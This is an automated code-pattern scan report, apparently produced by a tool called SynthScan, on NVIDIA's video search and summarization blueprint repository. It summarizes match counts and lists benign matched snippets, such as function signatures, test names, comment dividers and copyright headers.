NVIDIA AI Blueprint for video search and summarization (VSS) is a GPU-accelerated reference architecture for building video analytics agents with real-time verified alerts, visual Q&A, and automated reporting. The VSS Blueprint uses vision language models (VLMs) such as NVIDIA Cosmos, LLMs such as NVIDIA Nemotron, RAG, and NVIDIA NIMs.
This report summarizes scanner evidence for NVIDIA-AI-Blueprints/video-search-and-summarization, a Python project with 1,957 GitHub stars. SynthScan examined 2,094,291 lines of code across 6697 source files, recording 33866 pattern matches distributed across 26 syntactic categories. The legacy adjusted pattern signal is 21.5 (Elevated pattern signal); it is not an authorship estimate.
Use the findings to ask whether maintainers can explain intent, verify dependencies, simplify unnecessary scaffolding, and focus review effort. Risk Payload v1 adds ownership, supply-chain, over-engineering, and review-effort vectors when available. These are prompts for human verification, not probabilities, security findings, or measured maintenance costs.
Use each vector to guide manual verification of the underlying findings.
Payload schema: 1.0.0 · Engine: 2.0.0 · Scoring: heuristic-density-v1 · Scan date: 2026-10-31.
Can maintainers explain intent, assumptions, and trade-offs? 25029 finding(s).
Are imports declared and package/API names verified? 1737 finding(s).
Are wrappers, guards, and repeated structures necessary? 22690 finding(s).
Which changes need focused human review? 33866 finding(s).
This chart tracks the legacy adjusted pattern score across scan runs. Changes can reflect source changes, scan coverage, or detector/scoring versions; they do not measure AI adoption or prove that a team refactored code. Compare runs only when their scoring versions are compatible. The dashed line tracks the raw pattern-hit count.
Groups findings by configured severity weight. Severity is not a confidence estimate, security rating, or proof that a package is missing. Verify imports against the project's manifests and inspect each finding in its local design context.
This horizontal bar chart shows where configured pattern scores accumulate across directories. Treat the bars as locations to inspect, not as evidence of authorship or code quality. Use the file-level findings to decide whether a directory needs a focused ownership, dependency, complexity, or review check.
The scanner identified 33866 distinct pattern matches across 26 syntactic categories. Each entry below represents a discrete location in the source code where the engine recorded a detector match to inspect in context. Expand any category row to inspect the individual file paths, line numbers, code snippets, and the lexical context (CODE, COMMENT, or STRING) in which each match was detected.
Reading the findings table: The Severity column indicates the configured finding weight (CRITICAL / HIGH / MEDIUM / LOW). The Context column identifies whether the match occurred inside executable code, an inline comment, or a string literal — legacy comment-context matches receive a ×1.5 score weight. The ⚡ bolt icon marks clustered matches: three or more patterns within a 10-line window, each receiving an additional ×1.5 density multiplier under the legacy scoring model.
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | …postprocessing/data_conversion/convert_ground_truth.py | 84 | def bbox_to_translate_orient_scale(self, bbox_3d: Dict[str, Any], key: str, x: Optional[float] = None, y: Optional[f | CODE |
| LOW | …postprocessing/data_conversion/convert_ground_truth.py | 279 | def compare_dicts_with_tolerance(self, dict1: Dict[str, Any], dict2: Dict[str, Any], tolerance: float = 1e-6) -> boo | CODE |
| LOW | …postprocessing/data_conversion/convert_ground_truth.py | 307 | def find_best_bbox_by_clustering(self, bbox_3d_list: List[Dict[str, Any]], tolerance: float = 1e-6) -> int: | CODE |
| LOW | …postprocessing/data_conversion/convert_ground_truth.py | 401 | def find_best_bbox_with_outlier_detection(self, bbox_3d_list: List[Dict[str, Any]], tolerance: float = 1e-6) -> int: | CODE |
| LOW | …postprocessing/data_conversion/convert_ground_truth.py | 600 | def compare_lists_with_tolerance(self, list1: List[Any], list2: List[Any], tolerance: float = 1e-6) -> bool: | CODE |
| LOW | …postprocessing/data_conversion/convert_ground_truth.py | 999 | def generate_ground_truth_for_scene( | CODE |
| LOW | …postprocessing/data_conversion/convert_ground_truth.py | 1342 | def get_cam_params_from_calib_intr_extr(self, calibration: Dict[str, Any], idx: int) -> np.ndarray: | CODE |
| LOW | …postprocessing/data_conversion/convert_ground_truth.py | 1361 | def process_video_across_cameras(self, scene_dir: str, calibration_path: str, output_directory: str, max_frames: Opt | CODE |
| LOW | …ing/data_sanity_check/dataset_sanity_check_velocity.py | 66 | def find_frames_with_large_velocity(json_path: str, threshold: float = 5.0) -> None: | CODE |
| LOW | …ta_sanity_check/dataset_sanity_check_bbox_direction.py | 438 | def bbox_to_translate_orient_scale(bbox_3d: Dict[str, Any], key: str, x: Optional[float] = None, y: Optional[float] = No | CODE |
| LOW | …/data_sanity_check/dataset_sanity_check_calibration.py | 114 | def world_to_image_helper_from_calibration(corner: np.ndarray, rotation_vector: np.ndarray, translation_vector: np.ndarr | CODE |
| LOW | …/data_sanity_check/dataset_sanity_check_calibration.py | 138 | def get_cam_params_from_calib(sensor: Dict[str, Any]) -> Tuple[np.ndarray, np.ndarray, np.ndarray, np.ndarray]: | CODE |
| LOW | …/data_sanity_check/dataset_sanity_check_calibration.py | 193 | def compute_camera_projection_matrix(three_d_points: np.ndarray, two_d_points: np.ndarray) -> np.ndarray: | CODE |
| LOW | …/data_sanity_check/dataset_sanity_check_calibration.py | 223 | def compute_homography_matrix(proj_matrix: np.ndarray, platform_height: float = 0) -> np.ndarray: | CODE |
| LOW | tools/rtvi-cv-mv3dt-utils/generate_pub_sub_configs.py | 48 | def load_and_process_camera_matrices(cam_info_path): | CODE |
| LOW | deploy/docker/scripts/orchestrator_mcp_helper.py | 38 | def supported_hardware_profiles(config_path: str | Path) -> tuple[str, ...]: | CODE |
| LOW | deploy/docker/scripts/orchestrator_mcp_helper.py | 129 | def resolve_openshell_gateway_container(sandbox_name: str) -> str | None: | CODE |
| LOW⚡ | …y/docker/scripts/tests/test_orchestrator_mcp_helper.py | 320 | def test_skips_a_subnet_that_is_not_an_address_range(self) -> None: | CODE |
| LOW⚡ | …y/docker/scripts/tests/test_orchestrator_mcp_helper.py | 330 | def test_returns_empty_when_the_sandbox_is_absent(self) -> None: | CODE |
| LOW⚡ | …y/docker/scripts/tests/test_orchestrator_mcp_helper.py | 335 | def test_returns_empty_when_docker_inspect_fails(self) -> None: | CODE |
| LOW⚡ | …y/docker/scripts/tests/test_orchestrator_mcp_helper.py | 344 | def test_returns_empty_when_docker_stops_responding(self) -> None: | CODE |
| LOW⚡ | …y/docker/scripts/tests/test_orchestrator_mcp_helper.py | 354 | def test_returns_empty_when_the_container_has_no_networks(self) -> None: | CODE |
| LOW | …y/docker/scripts/tests/test_orchestrator_mcp_helper.py | 51 | def test_returns_every_index_and_uuid(self) -> None: | CODE |
| LOW | …y/docker/scripts/tests/test_orchestrator_mcp_helper.py | 61 | def test_accepts_mig_uuids_as_devices_but_not_as_indices(self) -> None: | CODE |
| LOW | …y/docker/scripts/tests/test_orchestrator_mcp_helper.py | 72 | def test_raises_when_nvidia_smi_is_missing(self) -> None: | CODE |
| LOW | …y/docker/scripts/tests/test_orchestrator_mcp_helper.py | 81 | def test_raises_with_the_exit_code_and_stderr_when_the_command_fails(self) -> None: | CODE |
| LOW | …y/docker/scripts/tests/test_orchestrator_mcp_helper.py | 95 | def test_reports_stdout_when_a_failure_writes_nothing_to_stderr(self) -> None: | CODE |
| LOW | …y/docker/scripts/tests/test_orchestrator_mcp_helper.py | 108 | def test_reports_a_silent_failure_as_no_output(self) -> None: | CODE |
| LOW | …y/docker/scripts/tests/test_orchestrator_mcp_helper.py | 117 | def test_raises_when_the_command_succeeds_without_listing_a_gpu(self) -> None: | CODE |
| LOW | …y/docker/scripts/tests/test_orchestrator_mcp_helper.py | 131 | def test_accepts_an_index_or_uuid_from_a_cached_inventory(self) -> None: | CODE |
| LOW | …y/docker/scripts/tests/test_orchestrator_mcp_helper.py | 151 | def test_accepts_a_blank_value_without_reading_the_host(self) -> None: | CODE |
| LOW | …y/docker/scripts/tests/test_orchestrator_mcp_helper.py | 157 | def test_names_the_setting_the_known_ids_and_the_remedy_when_it_fails(self) -> None: | CODE |
| LOW | …y/docker/scripts/tests/test_orchestrator_mcp_helper.py | 170 | def test_reads_the_host_once_when_no_inventory_is_cached(self) -> None: | CODE |
| LOW | …y/docker/scripts/tests/test_orchestrator_mcp_helper.py | 181 | def test_propagates_a_host_inventory_failure(self) -> None: | CODE |
| LOW | …y/docker/scripts/tests/test_orchestrator_mcp_helper.py | 299 | def test_returns_the_subnets_of_every_attached_network(self) -> None: | CODE |
| LOW | …y/docker/scripts/tests/test_orchestrator_mcp_helper.py | 367 | def test_returns_existing_paths_without_openssl(self) -> None: | CODE |
| LOW | …y/docker/scripts/tests/test_orchestrator_mcp_helper.py | 383 | def test_keeps_unexpired_existing_pair(self) -> None: | CODE |
| LOW | …y/docker/scripts/tests/test_orchestrator_mcp_helper.py | 403 | def test_raises_when_existing_cert_is_expired(self) -> None: | CODE |
| LOW | …y/docker/scripts/tests/test_orchestrator_mcp_helper.py | 425 | def test_generates_missing_pair_via_openssl(self) -> None: | CODE |
| LOW | …y/docker/scripts/tests/test_orchestrator_mcp_helper.py | 457 | def test_errors_when_only_cert_exists(self) -> None: | CODE |
| LOW | …y/docker/scripts/tests/test_orchestrator_mcp_helper.py | 473 | def test_errors_when_only_key_exists(self) -> None: | CODE |
| LOW | …y/docker/scripts/tests/test_orchestrator_mcp_helper.py | 489 | def test_requires_san_when_generating(self) -> None: | CODE |
| LOW⚡ | …y/docker/scripts/tests/test_orchestrator_mcp_helper.py | 224 | def test_returns_only_the_profile_keys_in_file_order(self) -> None: | STRING |
| LOW⚡ | …y/docker/scripts/tests/test_orchestrator_mcp_helper.py | 230 | def test_stops_at_the_next_sibling_block(self) -> None: | STRING |
| LOW⚡ | …y/docker/scripts/tests/test_orchestrator_mcp_helper.py | 235 | def test_reads_the_checked_in_config(self) -> None: | STRING |
| LOW⚡ | …y/docker/scripts/tests/test_orchestrator_mcp_helper.py | 243 | def test_raises_when_the_block_is_absent(self) -> None: | STRING |
| LOW⚡ | …y/docker/scripts/tests/test_orchestrator_mcp_helper.py | 249 | def test_raises_when_the_block_declares_nothing(self) -> None: | STRING |
| LOW⚡ | …y/docker/scripts/tests/test_orchestrator_mcp_helper.py | 258 | def test_raises_when_the_config_is_missing(self) -> None: | STRING |
| LOW⚡ | …y/docker/scripts/tests/test_orchestrator_mcp_helper.py | 264 | def test_returns_first_matching_container_name(self) -> None: | STRING |
| LOW | …y/docker/scripts/tests/test_orchestrator_mcp_helper.py | 275 | def test_returns_none_when_no_containers(self) -> None: | STRING |
| LOW | deploy/docker/scripts/tests/test_pin_docker_version.py | 102 | def test_already_prepared_host_needs_no_sudo(tmp_path): | STRING |
| LOW | deploy/docker/scripts/tests/test_pin_docker_version.py | 109 | def test_only_missing_hold_is_applied(tmp_path): | STRING |
| LOW | deploy/docker/scripts/tests/test_pin_docker_version.py | 124 | def test_notebook_handoff_prepares_whole_host_and_rerun_needs_no_timestamp( | STRING |
| LOW | deploy/docker/scripts/tests/test_pin_docker_version.py | 151 | def test_cgroup_merge_preserves_config_and_privilege_check_is_once(tmp_path, terminal): | STRING |
| LOW | deploy/docker/scripts/tests/test_pin_docker_version.py | 177 | def test_root_only_config_is_not_mistaken_for_a_missing_file(tmp_path, sudo_ok): | STRING |
| LOW⚡ | deploy/docker/scripts/tests/test_dashboard_relay.py | 50 | def test_hosts_are_split_and_upstream_parsed(self) -> None: | CODE |
| LOW⚡ | deploy/docker/scripts/tests/test_dashboard_relay.py | 57 | def test_defaults_target_the_dashboard_forward(self) -> None: | CODE |
| LOW⚡ | deploy/docker/scripts/tests/test_dashboard_relay.py | 63 | def test_a_bad_upstream_is_rejected(self) -> None: | CODE |
| LOW | deploy/docker/scripts/tests/test_dashboard_relay.py | 87 | def test_bytes_cross_the_relay_both_ways(self) -> None: | CODE |
| LOW | deploy/docker/scripts/tests/test_dashboard_relay.py | 96 | def test_a_client_half_close_still_receives_the_reply(self) -> None: | CODE |
| 15431 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | tools/sdg-postprocessing/3rdParty_Licenses.md | 249 | #------------------------------------------------------------------------------ | COMMENT |
| MEDIUM | tools/sdg-postprocessing/3rdParty_Licenses.md | 255 | #------------------------------------------------------------------------------ | COMMENT |
| MEDIUM | …operations/warehouse-mv3dt-app/warehouse-mv3dt-app.yml | 136 | # ── ReID embedding service stack ──────────────────────────────────────────────── | COMMENT |
| MEDIUM | …-mv3dt-app/deepstream/configs/ds-main-config-mv3dt.txt | 16 | # ============================================================================ | COMMENT |
| MEDIUM | …-mv3dt-app/deepstream/configs/ds-main-config-mv3dt.txt | 20 | # ============================================================================ | COMMENT |
| MEDIUM⚡ | …operations/blueprint-configurator/blueprint_config.yml | 16 | # ======================================================================================================== | COMMENT |
| MEDIUM⚡ | …operations/blueprint-configurator/blueprint_config.yml | 21 | # ======================================================================================================== | COMMENT |
| MEDIUM⚡ | …operations/blueprint-configurator/blueprint_config.yml | 23 | # ======================================================================================================== | COMMENT |
| MEDIUM⚡ | …operations/blueprint-configurator/blueprint_config.yml | 26 | # ======================================================================================================== | COMMENT |
| MEDIUM | …operations/blueprint-configurator/blueprint_config.yml | 728 | # ======================================================================================================== | COMMENT |
| MEDIUM | …operations/blueprint-configurator/blueprint_config.yml | 730 | # ======================================================================================================== | COMMENT |
| MEDIUM | …rehouse-operations/vlm-as-verifier/realtime-config.yml | 18 | # ── Rule 1 ────────────────────────────────────────────────────────────── | COMMENT |
| MEDIUM | …rehouse-operations/vlm-as-verifier/realtime-config.yml | 23 | # ── Required ──────────────────────────────────────────────────────── | COMMENT |
| MEDIUM | …rehouse-operations/vlm-as-verifier/realtime-config.yml | 38 | # ── Rule 2 ────────────────────────────────────────────────────────────── | COMMENT |
| MEDIUM | …rehouse-operations/vlm-as-verifier/realtime-config.yml | 56 | # ── Rule 3 ────────────────────────────────────────────────────────────── | COMMENT |
| MEDIUM | …rehouse-operations/vlm-as-verifier/realtime-config.yml | 74 | # ── Rule 4 ────────────────────────────────────────────────────────────── | COMMENT |
| MEDIUM | …arehouse-operations/vlm-as-verifier/configs/config.yml | 16 | # ============================================================================ | COMMENT |
| MEDIUM | …arehouse-operations/vlm-as-verifier/configs/config.yml | 18 | # ============================================================================ | COMMENT |
| MEDIUM | …rofiles/smartcities/vlm-as-verifier/configs/config.yml | 16 | # ============================================================================ | COMMENT |
| MEDIUM | …rofiles/smartcities/vlm-as-verifier/configs/config.yml | 18 | # ============================================================================ | COMMENT |
| MEDIUM | …rofiles/smartcities/vlm-as-verifier/configs/config.yml | 127 | # ─ Precedence note ──────────────────────────────────────── | COMMENT |
| MEDIUM | …erts/vlm-as-verifier/configs/EDGE-LOCAL-VLM-config.yml | 16 | # ============================================================================ | COMMENT |
| MEDIUM | …erts/vlm-as-verifier/configs/EDGE-LOCAL-VLM-config.yml | 18 | # ============================================================================ | COMMENT |
| MEDIUM | …/dev-profile-alerts/vlm-as-verifier/configs/config.yml | 16 | # ============================================================================ | COMMENT |
| MEDIUM | …/dev-profile-alerts/vlm-as-verifier/configs/config.yml | 18 | # ============================================================================ | COMMENT |
| MEDIUM | …/dev-profile-alerts/vlm-as-verifier/configs/config.yml | 120 | # ─ Precedence note ──────────────────────────────────────── | COMMENT |
| MEDIUM | deploy/docker/scripts/vss_orchestrator_mcp_config.yml | 49 | # ------------------------------------------------------------------------------------------------------------------ | COMMENT |
| MEDIUM | deploy/docker/services/rtvi/rtvi-cv/rtvi-cv.yaml | 32 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | deploy/docker/services/rtvi/rtvi-cv/rtvi-cv.yaml | 34 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | deploy/docker/services/rtvi/rtvi-cv/ds-start.sh | 455 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | deploy/docker/services/rtvi/rtvi-cv/ds-start.sh | 457 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | deploy/docker/services/rtvi/rtvi-cv/ds-start.sh | 480 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | deploy/docker/services/rtvi/rtvi-cv/ds-start.sh | 482 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | deploy/docker/services/rtvi/rtvi-cv/ds-start.sh | 647 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | deploy/docker/services/rtvi/rtvi-cv/ds-start.sh | 649 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | …ices/infra/elk/elasticsearch/configs/elasticsearch.yml | 13 | # -------------------------------------------------------------------------------- | COMMENT |
| MEDIUM | …ocker/services/vios/scripts/user_additional_install.sh | 185 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | …ocker/services/vios/scripts/user_additional_install.sh | 272 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | …iles/warehouse-operations/warehouse-2d-app/values.yaml | 549 | # ── Rule 1 ────────────────────────────────────────────────────────────── | COMMENT |
| MEDIUM | …iles/warehouse-operations/warehouse-2d-app/values.yaml | 554 | # ── Required ──────────────────────────────────────────────────────── | COMMENT |
| MEDIUM | …iles/warehouse-operations/warehouse-2d-app/values.yaml | 569 | # ── Rule 2 ────────────────────────────────────────────────────────────── | COMMENT |
| MEDIUM | …iles/warehouse-operations/warehouse-2d-app/values.yaml | 587 | # ── Rule 3 ────────────────────────────────────────────────────────────── | COMMENT |
| MEDIUM | …iles/warehouse-operations/warehouse-2d-app/values.yaml | 605 | # ── Rule 4 ────────────────────────────────────────────────────────────── | COMMENT |
| MEDIUM⚡ | …loper-profiles/dev-profile-search/override-values.yaml | 16 | # ============================================================================= | COMMENT |
| MEDIUM⚡ | …loper-profiles/dev-profile-search/override-values.yaml | 18 | # ============================================================================= | COMMENT |
| MEDIUM⚡ | …loper-profiles/dev-profile-search/override-values.yaml | 25 | # ============================================================================= | COMMENT |
| MEDIUM⚡ | …loper-profiles/dev-profile-search/override-values.yaml | 31 | # ── Agent config: search profile wired to in-cluster services ─────────────── | COMMENT |
| MEDIUM | …loper-profiles/dev-profile-search/override-values.yaml | 45 | # ── Kafka: override advertised host for external broker access (optional) ───── | COMMENT |
| MEDIUM | …loper-profiles/dev-profile-search/override-values.yaml | 49 | # ── rtvi (vss-rtvi-cv + vss-rtvi-embed + vss-rtvi-vlm): GPU / keys ───────────── | COMMENT |
| MEDIUM⚡ | …/helm/developer-profiles/dev-profile-search/Chart.yaml | 67 | # ============================================================================= | COMMENT |
| MEDIUM⚡ | …/helm/developer-profiles/dev-profile-search/Chart.yaml | 70 | # ============================================================================= | COMMENT |
| MEDIUM⚡ | …/helm/developer-profiles/dev-profile-search/Chart.yaml | 77 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | …/helm/developer-profiles/dev-profile-search/Chart.yaml | 79 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | …/helm/developer-profiles/dev-profile-search/Chart.yaml | 90 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | …/helm/developer-profiles/dev-profile-search/Chart.yaml | 92 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | …/helm/developer-profiles/dev-profile-search/Chart.yaml | 94 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM⚡ | …/helm/developer-profiles/dev-profile-search/Chart.yaml | 96 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | …/helm/developer-profiles/dev-profile-search/Chart.yaml | 107 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | …/helm/developer-profiles/dev-profile-search/Chart.yaml | 109 | # --------------------------------------------------------------------------- | COMMENT |
| MEDIUM | …/helm/developer-profiles/dev-profile-search/Chart.yaml | 120 | # --------------------------------------------------------------------------- | COMMENT |
| 3609 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | tools/message-broker-consumers/redis_to_file.py | 1 | #!/usr/bin/env python3 | COMMENT |
| LOW | tools/message-broker-consumers/kafka_to_file.py | 1 | #!/usr/bin/env python3 | COMMENT |
| LOW | tools/message-broker-consumers/base_consumer.py | 1 | # SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. | COMMENT |
| LOW | tools/sdg-postprocessing/3rdParty_Licenses.md | 1401 | // | COMMENT |
| LOW | …ols/sdg-postprocessing/utils/export_xform_semantics.py | 1 | # SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. | COMMENT |
| LOW | tools/sdg-postprocessing/semantic_labeling/box_check.py | 1 | # SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. | COMMENT |
| LOW | …s/sdg-postprocessing/semantic_labeling/remove_label.py | 1 | # SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. | COMMENT |
| LOW | …cessing/data_conversion/convert_npy_to_png_depthmap.py | 1 | # SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. | COMMENT |
| LOW | …postprocessing/data_conversion/convert_ground_truth.py | 1 | # SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. | COMMENT |
| LOW | …postprocessing/data_conversion/convert_ground_truth.py | 1581 | # List of specific primitive paths to exclude from processing | COMMENT |
| LOW | …data_conversion/convert_images_to_videos_no_bframes.sh | 1 | #!/bin/bash | COMMENT |
| LOW | …/data_conversion/convert_depth_rgb_to_h5_restarable.sh | 1 | #!/bin/bash | COMMENT |
| LOW | …ta_conversion/convert_single_camera_rgb_depth_to_h5.py | 1 | # SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. | COMMENT |
| LOW | …cessing/data_sanity_check/dataset_sanity_check_json.py | 1 | # SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. | COMMENT |
| LOW | …ing/data_sanity_check/dataset_sanity_check_velocity.py | 1 | # SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. | COMMENT |
| LOW | …ocessing/data_sanity_check/dataset_sanity_check_png.py | 1 | # SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. | COMMENT |
| LOW | …ta_sanity_check/dataset_sanity_check_bbox_direction.py | 1 | # SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. | COMMENT |
| LOW | …ta_sanity_check/dataset_sanity_check_bbox_direction.py | 861 | # Example: ["/World/SomeObject/", ...] | COMMENT |
| LOW | …ocessing/data_sanity_check/dataset_sanity_check_rgb.py | 1 | # SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. | COMMENT |
| LOW | …_sanity_check/dataset_sanity_check_instance_id_json.py | 1 | # SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. | COMMENT |
| LOW | …/data_sanity_check/dataset_sanity_check_calibration.py | 1 | # SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. | COMMENT |
| LOW | …ssing/data_sanity_check/dataset_sanity_check_videos.sh | 1 | #!/bin/bash | COMMENT |
| LOW | …a_sanity_check/dataset_sanity_check_instance_id_png.py | 1 | # SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. | COMMENT |
| LOW | …ocessing/data_sanity_check/dataset_sanity_check_npy.py | 1 | # SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. | COMMENT |
| LOW | tools/rtvi-cv-mv3dt-utils/generate_pub_sub_configs.py | 1 | # SPDX-FileCopyrightText: Copyright (c) 2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. | COMMENT |
| LOW | tools/rtvi-cv-mv3dt-utils/generate_cam_info_configs.py | 1 | # SPDX-FileCopyrightText: Copyright (c) 2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. | COMMENT |
| LOW | deploy/docker/compose.yml | 1 | # SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. | COMMENT |
| LOW | deploy/docker/industry-profiles/compose.yml | 1 | # SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. | COMMENT |
| LOW | …ker/industry-profiles/warehouse-operations/compose.yml | 1 | # SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. | COMMENT |
| LOW | …operations/warehouse-mv3dt-app/warehouse-mv3dt-app.yml | 1 | # SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. | COMMENT |
| LOW | …bana-dashboard/init-scripts/kibana-import-dashboard.sh | 1 | #!/bin/bash | COMMENT |
| LOW | …/import-calibration/init-scripts/calibration-import.sh | 1 | #!/bin/bash | COMMENT |
| LOW | …-mv3dt-app/deepstream/configs/ds-main-config-mv3dt.txt | 1 | # SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. | COMMENT |
| LOW | …house-mv3dt-app/deepstream/configs/ds-kafka-config.txt | 1 | # SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. | COMMENT |
| LOW | …house-mv3dt-app/deepstream/configs/ds-kafka-config.txt | 21 | #max.block.ms = 100 | COMMENT |
| LOW | …house-mv3dt-app/deepstream/configs/ds-kafka-config.txt | 41 | #queue.buffering.backpressure.threshold = 1 | COMMENT |
| LOW | …house-mv3dt-app/deepstream/configs/ds-redis-config.txt | 1 | # SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. | COMMENT |
| LOW | …3dt-app/deepstream/configs/ds-mv3dt-tracker-config.yml | 1 | # SPDX-FileCopyrightText: Copyright (c) 2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. | COMMENT |
| LOW | …ehouse-mv3dt-app/deepstream/configs/ds-pgie-config.yml | 1 | # SPDX-FileCopyrightText: Copyright (c) 2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. | COMMENT |
| LOW | …ehouse-mv3dt-app/deepstream/configs/ds-pgie-config.yml | 21 | topk: 50 | COMMENT |
| LOW | …warehouse-mv3dt-app/deepstream/configs/config_mqtt.txt | 1 | [message-broker] | COMMENT |
| LOW | …se-mv3dt-app/deepstream/init-scripts/ds-start-mv3dt.sh | 1 | #!/bin/bash | COMMENT |
| LOW | …operations/blueprint-configurator/blueprint_config.yml | 1 | # SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. | COMMENT |
| LOW | …house-operations/warehouse-2d-app/warehouse-2d-app.yml | 1 | # SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. | COMMENT |
| LOW | …bana-dashboard/init-scripts/kibana-import-dashboard.sh | 1 | #!/bin/bash | COMMENT |
| LOW | …/import-calibration/init-scripts/calibration-import.sh | 1 | #!/bin/bash | COMMENT |
| LOW | …warehouse-2d-app/deepstream/configs/ds-main-config.txt | 1 | # SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. | COMMENT |
| LOW | …eepstream/configs/ds-nvdcf-accuracy-tracker-config.yml | 1 | # SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. | COMMENT |
| LOW | …arehouse-2d-app/deepstream/configs/ds-kafka-config.txt | 1 | # SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. | COMMENT |
| LOW | …arehouse-2d-app/deepstream/configs/ds-redis-config.txt | 1 | # SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. | COMMENT |
| LOW | …warehouse-2d-app/deepstream/configs/ds-pgie-config.yml | 1 | # SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. | COMMENT |
| LOW | …house-operations/warehouse-3d-app/warehouse-3d-app.yml | 1 | # SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. | COMMENT |
| LOW | …bana-dashboard/init-scripts/kibana-import-dashboard.sh | 1 | #!/bin/bash | COMMENT |
| LOW | …/import-calibration/init-scripts/calibration-import.sh | 1 | #!/bin/bash | COMMENT |
| LOW | …p/deepstream/configs/ds-mtmc-preprocess-ocr-config.txt | 1 | # SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. | COMMENT |
| LOW | …p/deepstream/configs/ds-mtmc-preprocess-ocr-config.txt | 41 | scaling-buf-pool-size=20 | COMMENT |
| LOW | …warehouse-3d-app/deepstream/configs/ds-main-config.txt | 1 | # SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. | COMMENT |
| LOW | …warehouse-3d-app/deepstream/configs/ds-main-config.txt | 121 | #(0): Create payload using NvdsEventMsgMeta | COMMENT |
| LOW | …eepstream/configs/ds-nvdcf-accuracy-tracker-config.yml | 1 | # SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. | COMMENT |
| LOW | …ations/warehouse-3d-app/deepstream/configs/config.yaml | 1 | # SPDX-FileCopyrightText: Copyright (c) 2025-2026, NVIDIA CORPORATION & AFFILIATES. All rights reserved. | COMMENT |
| 7187 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
